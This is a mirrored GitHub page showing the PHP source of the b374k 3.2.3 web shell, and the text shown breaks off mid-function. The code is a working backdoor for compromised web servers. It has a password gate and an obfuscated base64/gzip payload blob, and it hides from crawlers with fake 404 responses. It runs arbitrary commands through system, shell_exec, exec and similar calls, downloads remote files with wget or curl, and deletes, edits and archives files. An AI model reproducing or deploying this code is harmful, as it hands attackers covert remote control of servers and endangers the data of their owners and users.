mirror of
https://github.com/tennc/webshell
synced 2024-11-26 05:00:18 +00:00
4584 lines
219 KiB
PHP
4584 lines
219 KiB
PHP
|
<?php
|
||
|
/*
|
||
|
b374k shell 3.2.3
|
||
|
Jayalah Indonesiaku
|
||
|
(c)2014
|
||
|
https://github.com/b374k/b374k
|
||
|
|
||
|
*/
|
||
|
$GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass))
|
||
|
$GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7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ZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
|
||
|
$GLOBALS['ver'] = "3.2.3";
|
||
|
$GLOBALS['title'] = "b374k";
|
||
|
|
||
|
@ob_start();
|
||
|
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
|
||
|
@ini_set('html_errors','0');
|
||
|
@ini_set('display_errors','1');
|
||
|
@ini_set('display_startup_errors','1');
|
||
|
@ini_set('log_errors','0');
|
||
|
@set_time_limit(0);
|
||
|
@clearstatcache();
|
||
|
|
||
|
if(!function_exists('auth')){
|
||
|
function auth(){
|
||
|
if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
|
||
|
$c = $_COOKIE;
|
||
|
$p = $_POST;
|
||
|
if(isset($p['pass'])){
|
||
|
$your_pass = sha1(md5($p['pass']));
|
||
|
if($your_pass==$GLOBALS['pass']){
|
||
|
setcookie("pass", $your_pass, time()+36000, "/");
|
||
|
header("Location: ".get_self());
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
|
||
|
$res = "<!doctype html>
|
||
|
<html>
|
||
|
<head>
|
||
|
<meta charset='utf-8'>
|
||
|
<meta name='robots' content='noindex, nofollow, noarchive'>
|
||
|
<meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'>
|
||
|
</head>
|
||
|
<body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p>
|
||
|
<script type='text/javascript'>
|
||
|
var d = document;
|
||
|
d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\");
|
||
|
d.getElementById('pass').focus();
|
||
|
d.getElementById('pass').setAttribute('autocomplete', 'off');
|
||
|
</script>
|
||
|
</body></html>
|
||
|
";
|
||
|
echo $res;
|
||
|
die();
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_server_info')){
|
||
|
function get_server_info(){
|
||
|
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
|
||
|
$server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
|
||
|
$server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
|
||
|
$server_info['uname'] = php_uname();
|
||
|
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
|
||
|
$server_info['software'] = $server_software." PHP ".phpversion();
|
||
|
return $server_info;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_self')){
|
||
|
function get_self(){
|
||
|
$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
|
||
|
return html_safe($_SERVER["REQUEST_URI"].$query);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_post')){
|
||
|
function get_post(){
|
||
|
return fix_magic_quote($_POST);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_nav')){
|
||
|
function get_nav($path){
|
||
|
return parse_dir($path);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_cwd')){
|
||
|
function get_cwd(){
|
||
|
$cwd = getcwd().DIRECTORY_SEPARATOR;
|
||
|
if(!isset($_COOKIE['cwd'])){
|
||
|
setcookie("cwd", $cwd);
|
||
|
}
|
||
|
else{
|
||
|
$cwd_c = rawurldecode($_COOKIE['cwd']);
|
||
|
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
|
||
|
else setcookie("cwd", $cwd);
|
||
|
}
|
||
|
return $cwd;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('wrap_with_quotes')){
|
||
|
function wrap_with_quotes($str){
|
||
|
return "\"".$str."\"";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_resource')){
|
||
|
function get_resource($type){
|
||
|
if(isset($GLOBALS['resources'][$type])){
|
||
|
return gzinflate(base64_decode($GLOBALS['resources'][$type]));
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('block_bot')){
|
||
|
function block_bot(){
|
||
|
// block search engine bot
|
||
|
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
|
||
|
header("HTTP/1.0 404 Not Found");
|
||
|
header("Status: 404 Not Found");
|
||
|
die();
|
||
|
}
|
||
|
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
|
||
|
header("HTTP/1.0 404 Not Found");
|
||
|
header("Status: 404 Not Found");
|
||
|
die();
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('is_win')){
|
||
|
function is_win(){
|
||
|
return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('fix_magic_quote')){
|
||
|
function fix_magic_quote($arr){
|
||
|
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
|
||
|
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
|
||
|
if(is_array($arr)){
|
||
|
foreach($arr as $k=>$v){
|
||
|
if(is_array($v)) $arr[$k] = clean($v);
|
||
|
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
return $arr;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('execute')){
|
||
|
function execute($code){
|
||
|
$output = "";
|
||
|
$code = $code." 2>&1";
|
||
|
|
||
|
if(is_callable('system') && function_exists('system')){
|
||
|
ob_start();
|
||
|
@system($code);
|
||
|
$output = ob_get_contents();
|
||
|
ob_end_clean();
|
||
|
if(!empty($output)) return $output;
|
||
|
}
|
||
|
elseif(is_callable('shell_exec') && function_exists('shell_exec')){
|
||
|
$output = @shell_exec($code);
|
||
|
if(!empty($output)) return $output;
|
||
|
}
|
||
|
elseif(is_callable('exec') && function_exists('exec')){
|
||
|
@exec($code,$res);
|
||
|
if(!empty($res)) foreach($res as $line) $output .= $line;
|
||
|
if(!empty($output)) return $output;
|
||
|
}
|
||
|
elseif(is_callable('passthru') && function_exists('passthru')){
|
||
|
ob_start();
|
||
|
@passthru($code);
|
||
|
$output = ob_get_contents();
|
||
|
ob_end_clean();
|
||
|
if(!empty($output)) return $output;
|
||
|
}
|
||
|
elseif(is_callable('proc_open') && function_exists('proc_open')){
|
||
|
$desc = array(
|
||
|
0 => array("pipe", "r"),
|
||
|
1 => array("pipe", "w"),
|
||
|
2 => array("pipe", "w"));
|
||
|
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
|
||
|
if(is_resource($proc)){
|
||
|
while($res = fgets($pipes[1])){
|
||
|
if(!empty($res)) $output .= $res;
|
||
|
}
|
||
|
while($res = fgets($pipes[2])){
|
||
|
if(!empty($res)) $output .= $res;
|
||
|
}
|
||
|
}
|
||
|
@proc_close($proc);
|
||
|
if(!empty($output)) return $output;
|
||
|
}
|
||
|
elseif(is_callable('popen') && function_exists('popen')){
|
||
|
$res = @popen($code, 'r');
|
||
|
if($res){
|
||
|
while(!feof($res)){
|
||
|
$output .= fread($res, 2096);
|
||
|
}
|
||
|
pclose($res);
|
||
|
}
|
||
|
if(!empty($output)) return $output;
|
||
|
}
|
||
|
return "";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('html_safe')){
|
||
|
function html_safe($str){
|
||
|
return htmlspecialchars($str, 2 | 1);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('parse_dir')){
|
||
|
function parse_dir($path){
|
||
|
$path = realpath($path).DIRECTORY_SEPARATOR;
|
||
|
$paths = explode(DIRECTORY_SEPARATOR, $path);
|
||
|
$res = "";
|
||
|
for($i = 0; $i < sizeof($paths)-1; $i++){
|
||
|
$x = "";
|
||
|
for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
|
||
|
$res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
|
||
|
}
|
||
|
if(is_win()) $res = get_drives().$res;
|
||
|
return trim($res);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('zip')){
|
||
|
function zip($files, $archive){
|
||
|
$status = false;
|
||
|
if(!extension_loaded('zip')) return $status;
|
||
|
if(class_exists("ZipArchive")){
|
||
|
$zip = new ZipArchive();
|
||
|
if(!$zip->open($archive, 1)) return $status;
|
||
|
|
||
|
if(!is_array($files)) $files = array($files);
|
||
|
foreach($files as $file){
|
||
|
$file = str_replace(get_cwd(), '', $file);
|
||
|
$file = str_replace('\\', '/', $file);
|
||
|
if(is_dir($file)){
|
||
|
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
|
||
|
foreach($filesIterator as $iterator){
|
||
|
$iterator = str_replace('\\', '/', $iterator);
|
||
|
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
|
||
|
|
||
|
if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
|
||
|
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
|
||
|
}
|
||
|
}
|
||
|
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
|
||
|
}
|
||
|
if($zip->getStatusString()!==false) $status = true;
|
||
|
$zip->close();
|
||
|
}
|
||
|
return $status;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('compress')){
|
||
|
function compress($type, $archive, $files){
|
||
|
if(!is_array($files)) $files = array($files);
|
||
|
if($type=='zip'){
|
||
|
if(zip($files, $archive)) return true;
|
||
|
else return false;
|
||
|
}
|
||
|
elseif(($type=='tar')||($type=='targz')){
|
||
|
$archive = basename($archive);
|
||
|
|
||
|
$listsBasename = array_map("basename", $files);
|
||
|
$lists = array_map("wrap_with_quotes", $listsBasename);
|
||
|
|
||
|
if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
|
||
|
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
|
||
|
|
||
|
if(is_file($archive)) return true;
|
||
|
else return false;
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('decompress')){
|
||
|
function decompress($type, $archive, $path){
|
||
|
$path = realpath($path).DIRECTORY_SEPARATOR;
|
||
|
$status = false;
|
||
|
if(is_dir($path)){
|
||
|
chdir($path);
|
||
|
if($type=='unzip'){
|
||
|
if(class_exists('ZipArchive')){
|
||
|
$zip = new ZipArchive();
|
||
|
$target = $path.basename($archive,".zip");
|
||
|
if($zip->open($archive)){
|
||
|
if(!is_dir($target)) mkdir($target);
|
||
|
if($zip->extractTo($target)) $status = true;
|
||
|
$zip->close();
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
elseif($type=='untar'){
|
||
|
$target = basename($archive,".tar");
|
||
|
if(!is_dir($target)) mkdir($target);
|
||
|
$before = count(get_all_files($target));
|
||
|
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
|
||
|
$after = count(get_all_files($target));
|
||
|
if($before!=$after) $status = true;
|
||
|
|
||
|
}
|
||
|
elseif($type=='untargz'){
|
||
|
$target = "";
|
||
|
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
|
||
|
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
|
||
|
|
||
|
if(!is_dir($target)) mkdir($target);
|
||
|
$before = count(get_all_files($target));
|
||
|
execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
|
||
|
$after = count(get_all_files($target));
|
||
|
if($before!=$after) $status = true;
|
||
|
}
|
||
|
}
|
||
|
return $status;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('download')){
|
||
|
function download($url ,$saveas){
|
||
|
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
|
||
|
$filename = basename($url);
|
||
|
|
||
|
if($content = read_file($url)){
|
||
|
if(is_file($saveas)) unlink($saveas);
|
||
|
if(write_file($saveas, $content)){
|
||
|
return true;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$buff = execute("wget ".$url." -O ".$saveas);
|
||
|
if(is_file($saveas)) return true;
|
||
|
|
||
|
$buff = execute("curl ".$url." -o ".$saveas);
|
||
|
if(is_file($saveas)) return true;
|
||
|
|
||
|
$buff = execute("lwp-download ".$url." ".$saveas);
|
||
|
if(is_file($saveas)) return true;
|
||
|
|
||
|
$buff = execute("lynx -source ".$url." > ".$saveas);
|
||
|
if(is_file($saveas)) return true;
|
||
|
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_fileperms')){
|
||
|
function get_fileperms($file){
|
||
|
if($perms = @fileperms($file)){
|
||
|
$flag = 'u';
|
||
|
if(($perms & 0xC000) == 0xC000)$flag = 's';
|
||
|
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
|
||
|
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
|
||
|
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
|
||
|
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
|
||
|
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
|
||
|
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
|
||
|
$flag .= ($perms & 00400)? 'r':'-';
|
||
|
$flag .= ($perms & 00200)? 'w':'-';
|
||
|
$flag .= ($perms & 00100)? 'x':'-';
|
||
|
$flag .= ($perms & 00040)? 'r':'-';
|
||
|
$flag .= ($perms & 00020)? 'w':'-';
|
||
|
$flag .= ($perms & 00010)? 'x':'-';
|
||
|
$flag .= ($perms & 00004)? 'r':'-';
|
||
|
$flag .= ($perms & 00002)? 'w':'-';
|
||
|
$flag .= ($perms & 00001)? 'x':'-';
|
||
|
return $flag;
|
||
|
}
|
||
|
else return "???????????";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('format_bit')){
|
||
|
function format_bit($size){
|
||
|
$base = log($size) / log(1024);
|
||
|
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
|
||
|
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_filesize')){
|
||
|
function get_filesize($file){
|
||
|
$size = @filesize($file);
|
||
|
if($size!==false){
|
||
|
if($size<=0) return 0;
|
||
|
return format_bit($size);
|
||
|
}
|
||
|
else return "???";
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_filemtime')){
|
||
|
function get_filemtime($file){
|
||
|
return @date("d-M-Y H:i:s", filemtime($file));
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_fileowner')){
|
||
|
function get_fileowner($file){
|
||
|
$owner = "?:?";
|
||
|
if(function_exists("posix_getpwuid")){
|
||
|
$name = posix_getpwuid(fileowner($file));
|
||
|
$group = posix_getgrgid(filegroup($file));
|
||
|
$owner = $name['name'].":".$group['name'];
|
||
|
}
|
||
|
return $owner;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('rmdirs')){
|
||
|
function rmdirs($dir, $counter = 0){
|
||
|
if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
|
||
|
if($dh = opendir($dir)){
|
||
|
while(($f = readdir($dh))!==false){
|
||
|
if(($f!='.')&&($f!='..')){
|
||
|
$f = $dir.$f;
|
||
|
if(@is_dir($f)) $counter += rmdirs($f);
|
||
|
else{
|
||
|
if(unlink($f)) $counter++;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
closedir($dh);
|
||
|
if(rmdir($dir)) $counter++;;
|
||
|
}
|
||
|
return $counter;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('copys')){
|
||
|
function copys($source , $target ,$c=0){
|
||
|
$source = realpath($source).DIRECTORY_SEPARATOR;
|
||
|
if($dh = opendir($source)){
|
||
|
if(!is_dir($target)) mkdir($target);
|
||
|
$target = realpath($target).DIRECTORY_SEPARATOR;
|
||
|
|
||
|
while(($f = readdir($dh))!==false){
|
||
|
if(($f!='.')&&($f!='..')){
|
||
|
if(is_dir($source.$f)){
|
||
|
copys($source.$f, $target.$f, $c);
|
||
|
}
|
||
|
else{
|
||
|
if(copy($source.$f, $target.$f)) $c++;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
closedir($dh);
|
||
|
}
|
||
|
return $c;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_all_files')){
|
||
|
function get_all_files($path){
|
||
|
$path = realpath($path).DIRECTORY_SEPARATOR;
|
||
|
$files = glob($path.'*');
|
||
|
for($i = 0; $i<count($files); $i++){
|
||
|
if(is_dir($files[$i])){
|
||
|
$subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
|
||
|
if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
|
||
|
}
|
||
|
}
|
||
|
return $files;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('read_file')){
|
||
|
function read_file($file){
|
||
|
$content = false;
|
||
|
if($fh = @fopen($file, "rb")){
|
||
|
$content = "";
|
||
|
while(!feof($fh)){
|
||
|
$content .= fread($fh, 8192);
|
||
|
}
|
||
|
}
|
||
|
return $content;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('write_file')){
|
||
|
function write_file($file, $content){
|
||
|
if($fh = @fopen($file, "wb")){
|
||
|
if(fwrite($fh, $content)!==false) return true;
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('view_file')){
|
||
|
function view_file($file, $type, $preserveTimestamp='true'){
|
||
|
$output = "";
|
||
|
if(is_file($file)){
|
||
|
$dir = dirname($file);
|
||
|
|
||
|
$owner = "";
|
||
|
if(!is_win()){
|
||
|
$owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>";
|
||
|
}
|
||
|
|
||
|
$image_info = @getimagesize($file);
|
||
|
$mime_list = get_resource('mime');
|
||
|
$mime = "";
|
||
|
$file_ext_pos = strrpos($file, ".");
|
||
|
if($file_ext_pos!==false){
|
||
|
$file_ext = trim(substr($file, $file_ext_pos),".");
|
||
|
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
|
||
|
$mime = $res[1];
|
||
|
}
|
||
|
}
|
||
|
if($type=="auto"){
|
||
|
if(is_array($image_info)) $type = 'image';
|
||
|
//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
|
||
|
elseif(!empty($mime)) $type = "multimedia";
|
||
|
else $type = "raw";
|
||
|
}
|
||
|
|
||
|
$content = "";
|
||
|
if($type=="code"){
|
||
|
$hl_arr = array(
|
||
|
"hl_default"=> ini_get('highlight.default'),
|
||
|
"hl_keyword"=> ini_get('highlight.keyword'),
|
||
|
"hl_string"=> ini_get('highlight.string'),
|
||
|
"hl_html"=> ini_get('highlight.html'),
|
||
|
"hl_comment"=> ini_get('highlight.comment')
|
||
|
);
|
||
|
|
||
|
|
||
|
$content = highlight_string(read_file($file),true);
|
||
|
foreach($hl_arr as $k=>$v){
|
||
|
$content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content);
|
||
|
$content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content);
|
||
|
}
|
||
|
}
|
||
|
elseif($type=="image"){
|
||
|
$width = (int) $image_info[0];
|
||
|
$height = (int) $image_info[1];
|
||
|
$image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br>
|
||
|
Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>";
|
||
|
if($width > 800){
|
||
|
$width = 800;
|
||
|
$imglink = "<p><a id='viewFullsize'>
|
||
|
<span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
|
||
|
}
|
||
|
else $imglink = "";
|
||
|
|
||
|
$content = "<center>".$image_info_h."<br>".$imglink."
|
||
|
<img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center>
|
||
|
";
|
||
|
|
||
|
}
|
||
|
elseif($type=="multimedia"){
|
||
|
$content = "<center>
|
||
|
<video controls>
|
||
|
<source src='' type='".$mime."'>
|
||
|
|
||
|
</video>
|
||
|
<p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
|
||
|
</center>";
|
||
|
}
|
||
|
elseif($type=="edit"){
|
||
|
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
|
||
|
$content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>";
|
||
|
}
|
||
|
elseif($type=="hex"){
|
||
|
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
|
||
|
$content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>";
|
||
|
}
|
||
|
else $content = "<pre>".html_safe(read_file($file))."</pre>";
|
||
|
|
||
|
|
||
|
|
||
|
$output .= "
|
||
|
<table id='viewFile' class='boxtbl'>
|
||
|
<tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
|
||
|
<tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
|
||
|
".$owner."
|
||
|
<tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
|
||
|
<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
|
||
|
<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
|
||
|
<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
|
||
|
<tr data-path='".html_safe($file)."'><td colspan='2'>
|
||
|
<span class='navigate button' style='width:120px;'>explorer</span>
|
||
|
<span class='action button' style='width:120px;'>action</span>
|
||
|
<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span>
|
||
|
<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span>
|
||
|
<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span>
|
||
|
<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span>
|
||
|
<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span>
|
||
|
</td></tr>
|
||
|
<tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
|
||
|
</table>";
|
||
|
|
||
|
|
||
|
}
|
||
|
else $output = "error";
|
||
|
return $output;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_writabledir')){
|
||
|
function get_writabledir(){
|
||
|
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
|
||
|
else{
|
||
|
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
|
||
|
if(!empty($_ENV[$k])){
|
||
|
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
|
||
|
}
|
||
|
}
|
||
|
if(function_exists("sys_get_temp_dir")){
|
||
|
$dir = sys_get_temp_dir();
|
||
|
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
|
||
|
}
|
||
|
else{
|
||
|
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
|
||
|
}
|
||
|
|
||
|
$tempfile = tempnam(__FILE__,'');
|
||
|
if(file_exists($tempfile)){
|
||
|
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
|
||
|
unlink($tempfile);
|
||
|
return $dir;
|
||
|
}
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('get_drives')){
|
||
|
function get_drives(){
|
||
|
$drives = "";
|
||
|
$v = explode("\\", get_cwd());
|
||
|
$v = $v[0];
|
||
|
foreach (range("A", "Z") as $letter){
|
||
|
if(@is_readable($letter.":\\")){
|
||
|
$drives .= "<a class='navbar' data-path='".$letter.":\\'>[ ";
|
||
|
if($letter.":" != $v) $drives .= $letter;
|
||
|
else{$drives .= "<span class='drive-letter'>".$letter."</span>";}
|
||
|
$drives .= " ]</a> ";
|
||
|
}
|
||
|
}
|
||
|
return $drives;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if(!function_exists('show_all_files')){
|
||
|
function show_all_files($path){
|
||
|
if(!is_dir($path)) return "No such directory : ".$path;
|
||
|
chdir($path);
|
||
|
$output = "";
|
||
|
$allfiles = $allfolders = array();
|
||
|
if($res = opendir($path)){
|
||
|
while($file = readdir($res)){
|
||
|
if(($file!='.')&&($file!="..")){
|
||
|
if(is_dir($file)) $allfolders[] = $file;
|
||
|
elseif(is_file($file))$allfiles[] = $file;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
array_unshift($allfolders, ".");
|
||
|
$cur = getcwd();
|
||
|
chdir("..");
|
||
|
if(getcwd()!=$cur) array_unshift($allfolders, "..");
